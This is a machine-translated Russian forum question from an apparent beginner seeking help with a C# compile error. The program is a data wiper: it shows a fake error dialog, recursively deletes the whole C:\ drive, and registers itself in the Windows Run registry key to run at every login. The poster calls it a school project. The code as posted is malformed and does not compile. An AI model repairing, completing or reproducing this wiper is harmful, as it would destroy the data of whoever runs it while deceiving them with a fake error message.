Я пытаюсь создать приложение, которое удаляет пользовательские документы при запуске (я знаю, что это может показаться вредоносным, но это для школьного проекта).
Однако я получаю сообщение об ошибке "Пространство имен не может напрямую содержать элементы, такие как поля или методы ".
Глядя на это, это нормально?Я надеюсь, что вторая пара глаз может помочь, поскольку я искал повсюду, и я не могу найти подходящее решение!
По общему признанию, из-за моих очень базовых знаний, я использовал много помощи онлайн и из книг ито, что я знаю о c #, ограничено.Поэтому, может быть, я идиот, но все должны с чего-то начинать, верно?
Код такой:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}